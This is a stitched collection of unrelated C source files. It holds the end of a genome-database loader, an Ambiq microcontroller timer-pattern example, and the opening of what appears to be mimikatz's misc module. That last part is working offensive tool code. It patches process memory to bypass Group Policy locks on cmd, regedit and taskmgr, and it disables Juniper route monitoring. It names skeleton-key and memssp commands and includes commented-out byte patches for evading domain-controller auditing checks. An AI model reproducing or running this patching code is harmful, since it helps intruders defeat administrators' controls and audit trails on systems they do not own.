while (lineFileRow(lf, row))
{
AllocVar(el);
slAddHead(&list, el);
hashAddSaveName(txOmimHash, row[0], el, &el->transId);
omim = row[1];
if (!startsWith("omim:", omim))
errAbort("Expecting 'omim:' at start of second field line %d of %s",
lf->lineIx, lf->fileName);
omim += 5;
hashAddSaveName(omimTxHash, omim, el, &el->omimId);
}
lineFileClose(&lf);
slReverse(&list);
*retList = list;
*retTxOmimHash = txOmimHash;
*retOmimTxHash = omimTxHash;
}
struct knownInfo *loadKnownInfo(struct sqlConnection *conn)
/* Load up known info table into list. */
{
struct knownInfo *list = NULL, *el;
struct sqlResult *sr;
char **row;
sr = sqlGetResult(conn, "NOSQLINJ select * from knownInfo");
while ((row = sqlNextRow(sr)) != NULL)
{
el = knownInfoLoad(row);
slAddHead(&list, el);
}
sqlFreeResult(&sr);
slReverse(&list);
return list;
}
void hgKnownMore(char *database, char *txOmimMap, char *omimIds, char *nomeIds)
/* hgKnownMore - Create the knownMore table from a variety of sources.. */
{
struct hash *txOmimHash = NULL, *omimTxHash = NULL;
struct txOmim *txOmimList = NULL, *txOmim;
struct hash *nameOmimHash = NULL, *omimNameHash = NULL;
struct nameOmim *nameOmimList = NULL, *nameOmim;
struct hash *hmOmimHash = NULL, *hmSymbolHash = NULL;
struct hugoMulti *hmList = NULL, *hm;
struct knownInfo *kiList = NULL, *ki;
struct knownMore km;
struct sqlConnection *conn;
char *tabName = "knownMore.tab";
FILE *f = NULL;
char *omimIdString = NULL;
char query[256];
readHugoMultiTable(nomeIds, &hmList, &hmOmimHash, &hmSymbolHash);
printf("Read %d elements in %s\n", slCount(hmList), nomeIds);
readNameOmim(omimIds, &nameOmimList, &nameOmimHash, &omimNameHash);
printf("Read %d elements in %s\n", slCount(nameOmimList), omimIds);
readTxOmim(txOmimMap, &txOmimList, &txOmimHash, &omimTxHash);
printf("Read %d elements in %s\n", slCount(txOmimList), txOmimMap);
conn = sqlConnect(database);
kiList = loadKnownInfo(conn);
printf("Read %d elements from knownInfo table in %s\n", slCount(kiList), database);
printf("Writing %s\n", tabName);
f = mustOpen(tabName, "w");
for (ki = kiList; ki != NULL; ki = ki->next)
{
/* Fill out a knownMore data structure. Start with all zero
* just to avoid garbage. */
zeroBytes(&km, sizeof(km));
/* First fields come from knownInfo generally. */
km.name = ki->name; /* The name displayed in the browser: OMIM, gbGeneName, or transId */
km.transId = ki->transId; /* Transcript id. Genie generated ID. */
km.geneId = ki->geneId; /* Gene (not transcript) Genie ID */
km.gbGeneName = ki->geneName; /* Connect to geneName table. Genbank gene name */
km.gbProductName = ki->productName; /* Connects to productName table. Genbank product name */
km.gbProteinAcc = ki->proteinId; /* Genbank accession of protein */
km.gbNgi = ki->ngi; /* Genbank gi of nucleotide seq. */
km.gbPgi = ki->pgi; /* Genbank gi of protein seq. */
/* Fill in rest with acceptable values for no-data-present. */
km.omimId = 0; /* OMIM ID or 0 if none */
km.omimName = ""; /* OMIM primary name */
km.hugoId = 0; /* HUGO Nomeclature Committee ID or 0 if none */
km.hugoSymbol = ""; /* HUGO short name */
km.hugoName = ""; /* HUGO descriptive name */
km.hugoMap = ""; /* HUGO Map position */
km.pmId1 = 0; /* I have no idea - grabbed from a HUGO nomeids.txt */
km.pmId2 = 0; /* Likewise, I have no idea */
km.refSeqAcc = ""; /* Accession of RefSeq mRNA */
km.aliases = ""; /* Aliases if any. Comma and space separated list */
km.locusLinkId = 0; /* Locus link ID */
km.gdbId = ""; /* NCBI GDB database ID */
/* See if it's a disease gene with extra info. */
txOmim = hashFindVal(txOmimHash, km.transId);
if (txOmim != NULL)
{
omimIdString = txOmim->omimId;
km.omimId = atoi(omimIdString); /* OMIM ID or 0 if none */
nameOmim = hashFindVal(omimNameHash, omimIdString);
if (nameOmim != NULL)
{
km.name = km.omimName = nameOmim->name;
}
hm = hashFindVal(hmOmimHash, omimIdString);
if (hm != NULL)
{
km.hugoId = hm->hgnc; /* HUGO Nomeclature Committee ID or 0 if none */
km.name = km.hugoSymbol = hm->symbol; /* HUGO short name */
km.hugoName = hm->name; /* HUGO descriptive name */
km.hugoMap = hm->map; /* HUGO Map position */
km.pmId1 = hm->pmId1; /* I have no idea - grabbed from a HUGO nomeids.txt */
km.pmId2 = hm->pmId2; /* Likewise, I have no idea */
km.refSeqAcc = hm->refSeqAcc; /* Accession of RefSeq mRNA */
km.aliases = hm->aliases; /* Aliases if any. Comma and space separated list */
km.locusLinkId = hm->locusLinkId; /* Locus link ID */
km.gdbId = hm->gdbId; /* NCBI GDB database ID */
}
}
knownMoreTabOut(&km, f);
}
carefulClose(&f);
printf("Loading database %s\n", database);
sqlUpdate(conn, "NOSQLINJ delete from knownMore");
sqlSafef(query, sizeof query, "load data local infile '%s' into table knownMore", tabName);
sqlUpdate(conn, query);
sqlDisconnect(&conn);
}
int main(int argc, char *argv[])
/* Process command line. */
{
if (argc != 5)
usage();
hgKnownMore(argv[1], argv[2], argv[3], argv[4]);
return 0;
}
|
541142.c | //*****************************************************************************
//
//! @file ctimer_stepper_synch_64bit_pattern.c
//!
//! @brief CTimer Stepper Motor Synchronized 64 bit Pattern Example
//!
//! Purpose: This example demonstrates how to create arbitrary patterns on
//! CTimer. TMR0 A is used to create base timing for the pattern.
//! and TMR1 A is configured to trigger on TMR0.
//! All timers are configured to run and then synchronized off of
//! the global timer enable.
//!
//! Printing takes place over the ITM at 1M Baud.
//!
//! Additional Information:
//! The patterns are output as follows:
//! Pin12 - TMR0 A trigger pulse
//! Pin18 - TMR1 A pattern
//!
//*****************************************************************************
//*****************************************************************************
//
// Copyright (c) 2020, Ambiq Micro, Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// Third party software included in this distribution is subject to the
// additional license terms as defined in the /docs/licenses directory.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
// This is part of revision SBL-AP4A-v1-RC-25-g74e0ec548 of the AmbiqSuite Development Package.
//
//*****************************************************************************
#include "am_mcu_apollo.h"
#include "am_bsp.h"
#include "am_util.h"
#define TRIG_GPIO 12
#define PATTERN_GPIO 18
//*****************************************************************************
//
// Stepper Pattern helper functions.
//
//*****************************************************************************
void
initialize_trigger_counter(void)
{
//
// Set up timer A0.
//
am_hal_ctimer_clear(0, AM_HAL_CTIMER_TIMERA);
am_hal_ctimer_config_single(0, AM_HAL_CTIMER_TIMERA,
(AM_HAL_CTIMER_FN_REPEAT |
AM_HAL_CTIMER_LFRC_32HZ) );
//
// Set the A0 Timer period to /32 or 1Hz.
//
am_hal_ctimer_period_set(0, AM_HAL_CTIMER_TIMERA, 32, 0);
//
// Configure timer A0 output on pin #12.
//
am_hal_ctimer_output_config(0, AM_HAL_CTIMER_TIMERA, TRIG_GPIO,
AM_HAL_CTIMER_OUTPUT_NORMAL,
AM_HAL_GPIO_PIN_DRIVESTRENGTH_12MA);
//
// Start the timer.
//
am_hal_ctimer_start(0, AM_HAL_CTIMER_TIMERA);
}
void
initialize_pattern_counter(uint32_t ui32TimerNumber,
uint32_t ui32TimerSegment,
uint64_t ui64Pattern,
uint32_t ui32PatternLen,
uint32_t ui32Trigger,
uint32_t ui32OutputPin,
uint32_t ui32PatternClock)
{
//
// Set up timer.
//
am_hal_ctimer_clear(ui32TimerNumber, ui32TimerSegment);
am_hal_ctimer_config_single(ui32TimerNumber, ui32TimerSegment,
(AM_HAL_CTIMER_FN_PTN_ONCE |
ui32PatternClock) );
//
// Set the pattern in the CMPR registers.
//
am_hal_ctimer_compare_set(ui32TimerNumber, ui32TimerSegment, 0,
(uint32_t)(ui64Pattern & 0xFFFF));
am_hal_ctimer_compare_set(ui32TimerNumber, ui32TimerSegment, 1,
(uint32_t)((ui64Pattern >> 16) & 0xFFFF));
am_hal_ctimer_aux_compare_set(ui32TimerNumber, ui32TimerSegment, 0,
(uint32_t)((ui64Pattern >> 32) & 0xFFFF));
am_hal_ctimer_aux_compare_set(ui32TimerNumber, ui32TimerSegment, 1,
(uint32_t)((ui64Pattern >> 48) & 0xFFFF));
//
// Set the timer trigger and pattern length.
//
am_hal_ctimer_config_trigger(ui32TimerNumber, ui32TimerSegment,
( (ui32PatternLen << CTIMER_AUX0_TMRA0LMT_Pos) |
( ui32Trigger << CTIMER_AUX0_TMRA0TRIG_Pos) ) );
//
// Configure timer output pin.
//
am_hal_ctimer_output_config(ui32TimerNumber, ui32TimerSegment, ui32OutputPin,
AM_HAL_CTIMER_OUTPUT_NORMAL,
AM_HAL_GPIO_PIN_DRIVESTRENGTH_12MA);
//
// Start the timer.
//
am_hal_ctimer_start(ui32TimerNumber, ui32TimerSegment);
}
void
global_disable(void)
{
CTIMER->GLOBEN = 0x0;
}
void
global_enable(void)
{
CTIMER->GLOBEN = 0xffff;
}
//*****************************************************************************
//
// Main function.
//
//*****************************************************************************
int
main(void)
{
//
// Set the clock frequency.
//
am_hal_clkgen_control(AM_HAL_CLKGEN_CONTROL_SYSCLK_MAX, 0);
//
// Set the default cache configuration
//
am_hal_cachectrl_config(&am_hal_cachectrl_defaults);
am_hal_cachectrl_enable();
//
// Configure the board for low power operation.
//
am_bsp_low_power_init();
//
// Among other things, am_bsp_low_power_init() stops the XT oscillator,
// which is needed for this example.
//
am_hal_clkgen_control(AM_HAL_CLKGEN_CONTROL_LFRC_START, 0);
//
// Initialize the printf interface for ITM/SWO output.
//
am_bsp_itm_printf_enable();
//
// Clear the terminal and print the banner.
//
am_util_stdio_terminal_clear();
am_util_stdio_printf("CTimer 64 bits pattern example\n");
//
// We are done printing. Disable debug printf messages on ITM.
//
am_bsp_debug_printf_disable();
//
// Disable all the counters.
//
global_disable();
//
// Set up the base counter controlling the pattern overall period (1Hz).
//
initialize_trigger_counter();
initialize_pattern_counter(1, AM_HAL_CTIMER_TIMERA, 0x2222222222222222,
63, CTIMER_AUX1_TMRA1TRIG_A0OUT, PATTERN_GPIO,
AM_HAL_CTIMER_LFRC_512HZ);
//
// Enable all the counters.
//
global_enable();
//
// Sleep forever while waiting for an interrupt.
//
while (1)
{
//
// Go to Deep Sleep.
//
am_hal_sysctrl_sleep(AM_HAL_SYSCTRL_SLEEP_DEEP);
}
} // main()
|
99970.c | /* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
[email protected]
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_misc.h"
const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_cmd, L"cmd", L"Command Prompt (without DisableCMD)"},
{kuhl_m_misc_regedit, L"regedit", L"Registry Editor (without DisableRegistryTools)"},
{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},
{kuhl_m_misc_ncroutemon,L"ncroutemon", L"Juniper Network Connect (without route monitoring)"},
{kuhl_m_misc_detours, L"detours", L"[experimental] Try to enumerate all modules with Detours-like hooks"},
//#ifdef _M_X64
// {kuhl_m_misc_addsid, L"addsid", NULL},
//#endif
{kuhl_m_misc_memssp, L"memssp", NULL},
{kuhl_m_misc_skeleton, L"skeleton", NULL},
{kuhl_m_misc_compressme,L"compressme", NULL},
{kuhl_m_misc_wp, L"wp", NULL},
{kuhl_m_misc_mflt, L"mflt", NULL},
{kuhl_m_misc_easyntlmchall, L"easyntlmchall", NULL},
{kuhl_m_misc_clip, L"clip", NULL},
};
const KUHL_M kuhl_m_misc = {
L"misc", L"Miscellaneous module", NULL,
ARRAYSIZE(kuhl_m_c_misc), kuhl_m_c_misc, NULL, NULL
};
NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"cmd.exe", L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"regedit.exe", L"DisableRegistryTools", sizeof(L"DisableRegistryTools"), L"KiwiAndRegistryTools", sizeof(L"KiwiAndRegistryTools"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"taskmgr.exe", L"DisableTaskMgr", sizeof(L"DisableTaskMgr"), L"KiwiAndTaskMgr", sizeof(L"KiwiAndTaskMgr"));
return STATUS_SUCCESS;
}
BYTE PTRN_WALL_ncRouteMonitor[] = {0x07, 0x00, 0x75, 0x3a, 0x68};
BYTE PATC_WALL_ncRouteMonitor[] = {0x90, 0x90};
KULL_M_PATCH_GENERIC ncRouteMonitorReferences[] = {{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WALL_ncRouteMonitor), PTRN_WALL_ncRouteMonitor}, {sizeof(PATC_WALL_ncRouteMonitor), PATC_WALL_ncRouteMonitor}, {2}}};
NTSTATUS kuhl_m_misc_ncroutemon(int argc, wchar_t * argv[])
{
kull_m_patch_genericProcessOrServiceFromBuild(ncRouteMonitorReferences, ARRAYSIZE(ncRouteMonitorReferences), L"dsNcService", NULL, TRUE);
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module_name_addr(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
if(((PBYTE) pvArg >= (PBYTE) pModuleInformation->DllBase.address) && ((PBYTE) pvArg < ((PBYTE) pModuleInformation->DllBase.address + pModuleInformation->SizeOfImage)))
{
kprintf(L"\t(%wZ)", pModuleInformation->NameDontUseOutsideCallback);
return FALSE;
}
return TRUE;
}
PBYTE kuhl_m_misc_detours_testHookDestination(PKULL_M_MEMORY_ADDRESS base, WORD machineOfProcess, DWORD level)
{
PBYTE dst = NULL;
BYTE bufferJmp[] = {0xe9}, bufferJmpOff[] = {0xff, 0x25}, bufferRetSS[] = {0x50, 0x48, 0xb8};
KUHL_M_MISC_DETOURS_HOOKS myHooks[] = {
{0, bufferJmp, sizeof(bufferJmp), sizeof(bufferJmp), sizeof(LONG), TRUE, FALSE},
{1, bufferJmpOff, sizeof(bufferJmpOff), sizeof(bufferJmpOff), sizeof(LONG), !(machineOfProcess == IMAGE_FILE_MACHINE_I386), TRUE},
{0, bufferRetSS, sizeof(bufferRetSS), sizeof(bufferRetSS), sizeof(PVOID), FALSE, FALSE},
};
KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, dBuffer = {&dst, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_ADDRESS pBuffer = *base;
DWORD i, sizeToRead;
for(i = 0; !dst && (i < ARRAYSIZE(myHooks)); i++)
{
if(level >= myHooks[i].minLevel)
{
sizeToRead = myHooks[i].offsetToRead + myHooks[i].szToRead;
if(aBuffer.address = LocalAlloc(LPTR, sizeToRead))
{
if(kull_m_memory_copy(&aBuffer, base, sizeToRead))
{
if(RtlEqualMemory(myHooks[i].pattern, aBuffer.address, myHooks[i].szPattern))
{
if(myHooks[i].isRelative)
{
dst = (PBYTE) pBuffer.address + sizeToRead + *(PLONG) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
}
else
{
dst = *(PBYTE *) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
#ifdef _M_X64
if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
}
if(myHooks[i].isTarget)
{
pBuffer.address = dst;
kull_m_memory_copy(&dBuffer, &pBuffer, sizeof(PBYTE));
#ifdef _M_X64
if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
}
}
}
LocalFree(aBuffer.address);
}
}
}
return dst;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg)
{
PBYTE dstJmp = NULL;
KULL_M_MEMORY_ADDRESS pBuffer = pExportedEntryInformations->function;
DWORD level = 0;
if((pExportedEntryInformations->function.address))
{
do
{
pBuffer.address = kuhl_m_misc_detours_testHookDestination(&pBuffer, pExportedEntryInformations->machine, level);
if(pBuffer.address && ((PBYTE) pBuffer.address < (PBYTE) (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->DllBase.address) || (PBYTE) pBuffer.address > ((PBYTE) ((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->DllBase.address + (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->SizeOfImage))))
{
dstJmp = (PBYTE) pBuffer.address;
level++;
}
} while (pBuffer.address);
if(dstJmp)
{
kprintf(L"\t[%u] %wZ ! ", level, (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->NameDontUseOutsideCallback));
if(pExportedEntryInformations->name)
kprintf(L"%-32S", pExportedEntryInformations->name);
else
kprintf(L"# %u", pExportedEntryInformations->ordinal);
kprintf(L"\t %p -> %p", pExportedEntryInformations->function.address, dstJmp);
kull_m_process_getVeryBasicModuleInformations(pExportedEntryInformations->function.hMemory, kuhl_m_misc_detours_callback_module_name_addr, dstJmp);
kprintf(L"\n");
}
}
return TRUE;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
kull_m_process_getExportedEntryInformations(&pModuleInformation->DllBase, kuhl_m_misc_detours_callback_module_exportedEntry, pModuleInformation);
return TRUE;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemoryProcess;
DWORD pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
if(pid > 4)
{
kprintf(L"%wZ (%u)\n", &pSystemProcessInformation->ImageName, pid);
if(hProcess = OpenProcess(GENERIC_READ, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemoryProcess))
{
kull_m_process_getVeryBasicModuleInformations(hMemoryProcess, kuhl_m_misc_detours_callback_module, NULL);
kull_m_memory_close(hMemoryProcess);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
return TRUE;
}
NTSTATUS kuhl_m_misc_detours(int argc, wchar_t * argv[])
{
kull_m_process_getProcessInformation(kuhl_m_misc_detours_callback_process, NULL);
return STATUS_SUCCESS;
}
BOOL kuhl_m_misc_generic_nogpo_patch(PCWSTR commandLine, PWSTR disableString, SIZE_T szDisableString, PWSTR enableString, SIZE_T szEnableString)
{
BOOL status = FALSE;
PEB Peb;
PROCESS_INFORMATION processInformation;
PIMAGE_NT_HEADERS pNtHeaders;
KULL_M_MEMORY_ADDRESS aBaseAdress = {NULL, NULL}, aPattern = {disableString, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatch = {enableString, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sMemory;
if(kull_m_process_create(KULL_M_PROCESS_CREATE_NORMAL, commandLine, CREATE_SUSPENDED, NULL, 0, NULL, NULL, NULL, &processInformation, FALSE))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, processInformation.hProcess, &aBaseAdress.hMemory))
{
if(kull_m_process_peb(aBaseAdress.hMemory, &Peb, FALSE))
{
aBaseAdress.address = Peb.ImageBaseAddress;
if(kull_m_process_ntheaders(&aBaseAdress, &pNtHeaders))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aBaseAdress.hMemory;
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase;
sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage;
if(status = kull_m_patch(&sMemory, &aPattern, szDisableString, &aPatch, szEnableString, 0, NULL, 0, NULL, NULL))
kprintf(L"Patch OK for \'%s\' from \'%s\' to \'%s\' @ %p\n", commandLine, disableString, enableString, sMemory.result);
else PRINT_ERROR_AUTO(L"kull_m_patch");
LocalFree(pNtHeaders);
}
}
kull_m_memory_close(aBaseAdress.hMemory);
}
NtResumeProcess(processInformation.hProcess);
CloseHandle(processInformation.hThread);
CloseHandle(processInformation.hProcess);
}
return status;
}
//#ifdef _M_X64
//BYTE PTRN_JMP[] = {0xeb};
//BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
//
//BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
//BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
////BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
//BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
//BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
//BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
//BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//KULL_M_PATCH_MULTIPLE wservprev[] = {
// {{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12r2[] = {
// {{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12[] = {
// {{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
